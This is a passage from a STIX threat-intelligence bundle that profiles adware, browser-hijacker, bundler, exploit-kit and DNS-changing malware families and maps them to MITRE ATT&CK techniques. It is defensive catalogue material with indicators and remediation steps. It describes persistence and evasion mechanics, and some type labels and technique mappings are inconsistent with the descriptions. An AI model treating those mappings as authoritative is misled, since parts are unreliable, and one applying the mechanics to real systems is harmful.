      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f464c862-2153-5141-a89d-69b5f432978e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17c43829-c859-5a2a-84a5-2436564dcd00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d46f6ba-962c-5289-91e4-abe6df895baa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c1f7376-ac35-59f2-9b75-781551c369d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Expressdownloader",
      "description": "Adware:Win32/Expressdownloader is a detection for a deceptive software packager or **Bundler**. It is designed to act as a primary installation wrapper, promising the user a piece of legitimate freeware or pirated content, but its true intent is to silently download and install a payload of Potentially Unwanted Programs (PUPs), adware toolbars, and sometimes outright trojans in the background.<br><br><b>Understanding Expressdownloader (Software Bundlers)</b><br>To an end-user, executing Expressdownloader looks like a standard, if somewhat aggressive, software setup wizard. For a security analyst, encountering this detection implies that the endpoint has likely been exposed to multiple secondary payloads. The business model relies on Pay-Per-Install (PPI) networks, where the distributor gets paid for every extra toolbar or adware application they successfully sneak onto the victim's machine.<br><br><b>Execution and Bundling Mechanics</b><br>Expressdownloader is usually encountered when users attempt to download software from untrusted third-party portals (`T1189`). When the user runs the installer, the UI presents deceptive 'Express Install' options. If the user clicks 'Next' without reading the fine print, the wrapper reaches out to its C2 servers (`T1105`) and silently executes secondary installers in the background. These secondary payloads establish persistence (`T1547.001`), modify browser settings (`T1112`), and inject advertisements. The 'Expressdownloader' wrapper itself is essentially a highly weaponized download manager.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from extreme annoyance (adware) to full system compromise (if the bundler drops a trojan). Host-based IoCs include EDR alerts for a single setup executable spawning multiple unrelated child processes (`msiexec.exe`, `cmd.exe`, or unknown binaries in `%Temp%`), sudden modifications to browser shortcut properties, and the appearance of unrequested desktop icons. Network IoCs include the installer reaching out to affiliate networks (often ad-tracking domains) to register a successful installation and download the secondary payloads. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Expressdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/expressdownloader"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac7c1a76-36be-5e19-b108-7791e3ba92fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1f7376-ac35-59f2-9b75-781551c369d7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expressdownloader exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--926dd65f-85c8-548c-8b9a-fcfad8178cc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1f7376-ac35-59f2-9b75-781551c369d7",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expressdownloader exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73d08a66-34f5-5730-8e22-a5f9e9dfeaaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1f7376-ac35-59f2-9b75-781551c369d7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expressdownloader exhibits technique T1105 (Ingress Tool Transfer (Downloading bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e16aaf9-d725-5838-98f0-0f54a822b778",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1f7376-ac35-59f2-9b75-781551c369d7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expressdownloader exhibits technique T1112 (Modify Registry (Browser hijacking by dropped payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--28d7ad94-dfcf-5717-8dff-2dddd094adbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Expstart",
      "description": "<h3>Executive Summary</h3>\nExpstart is a generic detection classification primarily used to identify heuristic patterns associated with \"Exploit Starters\" or the initial stages of a browser-based exploit kit attack. It flags JavaScript or VBScript code heavily obfuscated to hide exploit routines targeting vulnerabilities in web browsers, Adobe Flash, Java, or PDF readers. Its primary goal is to gain arbitrary code execution to silently download a secondary malware payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nExpstart is inherently a web-borne threat. Users typically encounter it via \"drive-by downloads.\" This occurs when a user visits a compromised legitimate website, or a malicious landing page served via a malvertising network, where the malicious script executes silently in the background without user interaction.\n\nIts technical operation focuses on exploitation and payload delivery:\n<ul>\n<li><strong>Environment Profiling:</strong> The heavily obfuscated script first checks the victim's browser version, installed plugins, and operating system to determine which specific vulnerabilities (CVEs) the system is susceptible to.</li>\n<li><strong>Memory Corruption / Exploitation:</strong> Based on the profile, it attempts to execute a specific exploit (often a memory corruption vulnerability like Use-After-Free) to bypass browser sandboxing and gain SYSTEM or User-level code execution privileges.</li>\n<li><strong>Shellcode Execution:</strong> If the exploit is successful, the script executes \"shellcode\" \u2014 a small piece of machine code that reaches out to the attacker's server to download and execute the primary Trojan, ransomware, or infostealer payload.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Expstart (or similar exploit kit activity) is a severe alert. It indicates that the network perimeter and web filters failed to block a weaponized attack, and the endpoint's browser was actively targeted. If the exploit was successful, a secondary, highly destructive payload is likely already running on the machine.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>EDR Execution Trace:</strong> Incident responders must immediately utilize EDR to trace the browser process (e.g., `chrome.exe` or `iexplore.exe`). Did the browser spawn any anomalous child processes (like `cmd.exe` or `powershell.exe`) immediately after the Expstart alert? If so, the exploit was successful.</li>\n<li><strong>Immediate Network Isolation:</strong> If successful exploitation is suspected, the machine must be isolated immediately to prevent the secondary payload from encrypting data or moving laterally.</li>\n<li><strong>Patch Management Review:</strong> Determine *which* vulnerability the exploit targeted. This incident highlights a critical failure in the organization's patch management lifecycle. The affected application (browser, PDF reader) must be patched enterprise-wide immediately.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit.JS.Agent",
        "Trojan.Expstart",
        "Exploit-Kit.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Expstart",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/expstart"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ac7abcb-d432-569c-8bba-89fbc4ba0bce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28d7ad94-dfcf-5717-8dff-2dddd094adbb",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expstart exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e73daf5b-44ed-5f3c-be55-300c54331963",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28d7ad94-dfcf-5717-8dff-2dddd094adbb",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expstart exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript/AutoIt)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d90a98a1-220c-5ff8-a808-dcc25c4e8136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28d7ad94-dfcf-5717-8dff-2dddd094adbb",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expstart exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c4cf5189-f341-57a1-9543-bd53b146eaa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Extcrome",
      "description": "Adware:Win32/Extcrome is an intrusive Potentially Unwanted Program (PUP) categorized as a malicious Browser Extension, specifically targeting Google Chrome. It forcibly alters a user's web browsing experience by manipulating browser settings, injecting unwanted advertisements into webpages, and tracking user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Extcrome</b><br>To an end-user, Extcrome manifests as a sudden influx of unremovable toolbars, persistent pop-up ads, and the forced redirection of their default search engine to a low-quality, third-party portal. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements) (`T1189`).<br><br><b>Execution and Hijacking Mechanics</b><br>Extcrome is typically distributed via deceptive software bundles, fake software updates, or by tricking the user on malicious download portals. Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (like Chrome's `Preferences` file) to force-install the extension (`T1176`). To ensure the hijacking cannot be easily reversed, it often installs a persistent scheduled task or Windows Service (`T1543.003`) acting as a 'watchdog'. This watchdog monitors the browser settings; if the user attempts to remove the extension or reset their homepage, the watchdog instantly re-installs Extcrome and reverts the settings back to the hijacked state.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to Chrome's `Extensions` directory (`%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Extensions`), or anomalous watchdog executables running from `%AppData%`. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Extcrome",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/extcrome"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec672ff1-e931-5434-821c-b9184349f85e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4cf5189-f341-57a1-9543-bd53b146eaa7",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extcrome exhibits technique T1176 (Browser Extensions (Force-installing the malicious Chrome extension))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5566985-b123-5b21-bc22-1c28ad5c9c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4cf5189-f341-57a1-9543-bd53b146eaa7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extcrome exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55d0386c-218c-585c-8e74-35983ca2fccc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4cf5189-f341-57a1-9543-bd53b146eaa7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extcrome exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking and watchdog persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Extenbro",
      "description": "Extenbro (cataloged across security solutions as Trojan:Win32/Extenbro, Trojan:JS/ExtenBro!MTB, TrojanDownloader:Win32/ExtenBro.A, and BrowserModifier:Win32/Extenbro) is a sophisticated DNS-changing trojan and browser hijacker first analyzed by Malwarebytes in 2016. Extenbro targets Google Chrome, Mozilla Firefox, and Internet Explorer, forcefully installing and locking malicious browser extensions that inject advertisements and redirect web traffic. To prevent victims and security software from neutralizing the infection, Extenbro alters local IPv4 network adapter configurations, setting DNS servers to rogue addresses or routing traffic through a local proxy that loops back requests for cybersecurity domains (such as bleepingcomputer.com, malwarebytes.com, and microsoft.com) to 127.0.0.1. This effectively isolates the compromised computer from security definitions, scanner updates, and remediation guides. Extenbro establishes persistence through randomly named executables placed in %LOCALAPPDATA% and scheduled tasks designed to re-apply rogue DNS rules upon system restart. (Observed samples in benchmark: 204)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Extenbro",
        "Trojan:JS/ExtenBro!MTB",
        "TrojanDownloader:Win32/ExtenBro.A",
        "BrowserModifier:Win32/Extenbro",
        "Adware.Extenbro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Extenbro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/extenbro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1afadfe0-50f5-5558-943f-6dc3a0f20532",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extenbro exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4cc0cf61-5e2d-5bfe-a65d-a473bf146f79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extenbro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70b60ca8-4d78-58d4-9696-e1cdb6a04442",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extenbro exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f446370f-009a-5718-9788-5c2444b2cdd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extenbro exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f54309d-1db8-5f3f-8ae5-6662deacbbbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de04ae02-cc34-5edb-870c-f6fc8274a723",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extenbro exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95c88464-48ae-537d-a960-0440b23e7bb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Extinstaller",
      "description": "Adware:Win32/Extinstaller is a classification for deceptive software components specifically designed to forcibly install unwanted, malicious, or ad-supported browser extensions into Chrome, Firefox, or Edge. It operates as a local privilege escalation and persistence mechanism, ensuring that even if a user deletes the extension from their browser, the local service will simply reinstall it (`T1189`).<br><br><b>Understanding Extinstaller (Browser Hijackers)</b><br>To an end-user, Extinstaller causes a highly frustrating browsing experience: homepages are changed, default search engines are hijacked, and web pages are injected with unwanted advertisements. For a security team, it represents a risk to corporate data, as these forced extensions often monitor all web traffic, capture search queries, and can potentially steal session cookies or credentials (`T1111`).<br><br><b>Execution and Persistence Mechanics</b><br>Extinstaller is typically bundled with freeware or pirated software. Upon execution, it does not rely on the browser's web store. Instead, it interacts directly with the browser's local configuration files or the Windows Registry. For Chrome, it often abuses the `ExtensionInstallForcelist` enterprise policy (`T1562.001`), locking the extension so the user cannot click 'Remove'. It establishes an OS-level persistence mechanism (a Scheduled Task or Registry Run key) (`T1547.001`) that constantly checks if the malicious extension is active and re-injects it if it has been removed.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is privacy violation, browser hijacking, and exposure to malvertising. Host-based IoCs include unauthorized modifications to the `HKLM\\Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist` registry key, the presence of anomalous scheduled tasks running scripts or unknown executables, and the physical presence of unpacked extension files in `%LocalAppData%` outside the normal browser extension directories. Network IoCs involve constant background beaconing to advertising affiliate networks. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Extinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/extinstaller"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3ee3b11-ff8e-56b6-b924-553c5c1da5e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95c88464-48ae-537d-a960-0440b23e7bb1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extinstaller exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Abusing browser policies to prevent extension removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--454d7741-7bfb-5c5b-ba59-547afda488d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95c88464-48ae-537d-a960-0440b23e7bb1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extinstaller exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1042d978-31fc-5fc1-a726-72ecf9c8f8bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95c88464-48ae-537d-a960-0440b23e7bb1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Extinstaller exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Ensuring the reinstall service runs))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--80be3868-7623-5ca4-9a97-8b22044fffc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exxroute",
      "description": "<h3>Executive Summary</h3>\nExxroute is a malicious Trojan specifically engineered to tamper with endpoint network routing and DNS configurations. It is designed to covertly hijack web traffic, redirecting users from legitimate websites to attacker-controlled phishing domains or serving malicious advertisements. By operating at the network routing layer within the OS, Exxroute can bypass standard browser-level ad blockers and security extensions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nExxroute typically infiltrates systems silently, bundled as a secondary payload alongside \"freeware\" software, fake browser updates, or delivered via exploit kits that capitalize on unpatched browser vulnerabilities.\n\nOnce active, it manipulates local network settings:\n<ul>\n<li><strong>DNS Hijacking/HOSTS File Modification:</strong> The primary capability of Exxroute is altering the system's DNS settings. It may forcefully modify the Windows `HOSTS` file (`C:\\Windows\\System32\\drivers\\etc\\hosts`) to map high-traffic domains (like banking sites or search engines) to malicious IP addresses. Alternatively, it may change the network adapter's DNS server IPs to point to a rogue DNS server controlled by the attacker.</li>\n<li><strong>Traffic Interception:</strong> By controlling DNS resolution, the attackers can perform Man-in-the-Middle (MitM) attacks, capturing entered credentials or injecting malicious iframes into otherwise legitimate, unencrypted HTTP traffic.</li>\n<li><strong>Persistence:</strong> To prevent the user from simply reverting the DNS changes, Exxroute installs a persistent background service or scheduled task that constantly monitors and re-applies the malicious DNS settings if they are altered.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Exxroute infection represents a severe compromise of network integrity and data confidentiality. It exposes the user to immediate credential theft via highly convincing phishing pages (since the URL in the browser may appear correct) and bypasses perimeter web filtering.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>DNS configuration Audit:</strong> Immediately inspect the network adapter settings (`ipconfig /all`) on the infected machine. Revert any rogue DNS servers back to the corporate standard or DHCP-assigned IPs.</li>\n<li><strong>HOSTS File Restoration:</strong> Inspect the Windows `HOSTS` file for unauthorized entries mapping legitimate domains to external IPs. Restore the file to its default state.</li>\n<li><strong>Antivirus and Service Sweep:</strong> Standard AV must be used to identify and remove the executable or service that is actively enforcing the malicious DNS changes. Simply changing the DNS back without removing the malware will result in immediate re-infection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Exxroute",
        "DNSChanger.Exxroute",
        "Win32/Exxroute"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exxroute",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exxroute"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f662d7a7-98b1-57cb-bcf6-5fc8d645bd99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1562.002: Impair Defenses: Disable Windows Event Logging",
      "description": "MITRE ATT&CK Technique T1562.002 (Impair Defenses: Disable Windows Event Logging) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1562.002",
          "url": "https://attack.mitre.org/techniques/T1562/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--465c9adc-cefe-56d4-bc38-5a6890164bd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80be3868-7623-5ca4-9a97-8b22044fffc0",
      "target_ref": "attack-pattern--f662d7a7-98b1-57cb-bcf6-5fc8d645bd99",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exxroute exhibits technique T1562.002 (Impair Defenses: Disable Windows Event Logging)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1564.001: Hide Artifacts: Hidden Files and Directories (Hiding the real folders)",
      "description": "MITRE ATT&CK Technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1564.001",
          "url": "https://attack.mitre.org/techniques/T1564/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6143716-315b-5afb-a382-b81f624eb7be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80be3868-7623-5ca4-9a97-8b22044fffc0",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exxroute exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c46d5775-ef92-513c-bdf6-facad85c9364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80be3868-7623-5ca4-9a97-8b22044fffc0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exxroute exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "created": "2026-01-01T00:00:00.000Z",
